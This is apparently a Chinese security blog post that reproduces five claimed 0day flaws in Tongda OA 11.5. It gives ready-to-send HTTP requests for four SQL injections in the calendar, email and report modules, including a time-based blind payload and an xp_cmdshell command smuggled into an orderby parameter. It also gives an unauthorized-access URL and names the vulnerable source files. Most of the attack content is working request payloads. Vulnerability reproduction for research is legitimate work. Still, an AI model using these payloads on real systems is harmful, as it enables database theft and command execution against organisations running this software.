2020-08-22通达OA多枚0day漏洞复现

​通达OA多枚0day漏洞复现

刚刚群里发了一篇文章-研究复现一波,通达OA多枚0day漏洞poc出来了。

影响范围:通达OA11.5版本

一、环境搭建:

安装11.5版本

安装完成:

服务器配置:

访问IP服务正常:

成功登录系统:

二、漏洞验证复现

漏洞一:SQL注入 POC:

POST/general/appbuilder/web/calendar/calendarlist/getcallistHTTP/1.1

问题关键参数:starttime=12&endtime=15&view=month&condition=1

P

OST/general/appbuilder/web/calendar/calendarlist/getcallistHTTP/1.1Host: 192.168.0.107User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeCookie: PHPSESSID=rsgpd6j2u0a2qsqbjilv1nln44; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=81d423f8Upgrade-Insecure-Requests: 1Content-Length: 152​starttime=12&endtime=15&view=month&condition=1

starttime=AND (SELECT[RANDNUM]FROM(SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])---&endtime=1598918400&view=month&condition=1

详细的注入参数点:

sqlmap验证:

漏洞文件:

webroot\general\appbuilder\modules\calendar\models\Calendar.php。

漏洞二:SQL注入 POC:

GET/general/email/sentbox/get_index_data.php?asc=0&boxid=&boxname=sentbox&curnum=3&emailtype=ALLMAIL&keyword=admint&orderby=execmasterxp_cmshell'ping127.0.0.1'--&pagelimit=20&tag=×tamp=1598069133&total=HTTP/1.1

问题关键参数:orderby

GET/general/email/sentbox/get_index_data.php?asc=0&boxid=&boxname=sentbox&curnum=3&emailtype=ALLMAIL&keyword=admint&orderby=execmasterxp_cmshell'ping127.0.0.1'--&pagelimit=20&tag=×tamp=1598069133&total=HTTP/1.1Host:192.168.0.107User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeCookie: PHPSESSID=rsgpd6j2u0a2qsqbjilv1nln44; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=81d423f8Upgrade-Insecure-Requests: 1

手工注入闭合报错:

burp参数查询,回现报错

sqlmap验证,(多次跑了一下)未验证成功。可以试试其他版本。

漏洞文件:webroot\inc\utility_email.php,get_sentbox_data函数接收传入参数未过滤,直接拼接在order by后面了造成注入。

漏洞三:SQL注入 POC:

GET/general/email/inbox/get_index_data.php?asc=0&boxid=&boxname=inbox&curnum=0&emailtype=ALLMAIL&keyword=&orderby=3--&pagelimit=10&tag=×tamp=1598069103&total=HTTP/1.1

问题关键参数:orderby

GET/general/email/inbox/get_index_data.php?asc=0&boxid=&boxname=inbox&curnum=0&emailtype=ALLMAIL&keyword=&orderby=3--&pagelimit=10&tag=×tamp=1598069103&total=HTTP/1.1X-Requested-With: XMLHttpRequestReferer: http://192.168.43.169Cookie: PHPSESSID=54j5v894kbrm5sitdvv8nk4520; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c9e143ffAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip,deflateHost: 192.168.43.169User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36Connection: close

手工注入闭合报错:

burp参数查询,回现报错

sqlmap验证,(多次跑了一下)未验证成功。可以试试其他版本。

漏洞文件:webroot\inc\utility_email.php,get_email_data函数传入参数未过滤,直接拼接在order by后面了造成注入。

漏洞三和漏洞四,参数结果一样可能是这个影响,本地验证未成功。(个人复现情况)

开始看见sql注入2和sql注入3,我以为是是一样的,详细看了还是有差别,功能点参数相似。

漏洞四:SQL注入 POC:

GET/general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2HTTP/1.1

问题关键参数:id

GET/general/appbuilder/web/report/repdetail/edit?link_type=false&slot={}&id=2HTTP/1.1X-Requested-With: XMLHttpRequestReferer: http://192.168.43.169Cookie: PHPSESSID=54j5v894kbrm5sitdvv8nk4520; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=c9e143ffAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip,deflateHost: 192.168.43.169User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36Connection: close

本地的数据库,相关信息不多

sqlmap验证:

漏洞文件:webroot\general\appbuilder\modules\report\controllers\RepdetailController.php,actionEdit函数中存在 一个$_GET["id"];  未经过滤,拼接到SQL查询中,造成了SQL注入。

漏洞五:未授权访问:

http://127.0.0.1/general/calendar/arrange/get_cal_list.php?starttime=1595779200&endtime=1599408000&view=agendaDay

本地参数没有成功:可能是本地的环境是刚刚搭建,本地的时间没有相关的数据。

再次确认问题点:未授权访问各种会议通知信息,由于本地的环境是新的没有相关的,没有相关的会议消息,所以不能访问到数据。

参考文章:

安译Sec(https://mp.weixin.qq.com/s/3bI7v-hv4rMUnCIT0GLkJA)

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

订阅查看更多复现文章、学习笔记

thelostworld

安全路上,与你并肩前行!!!!

你可能感兴趣的:(2020-08-22通达OA多枚0day漏洞复现)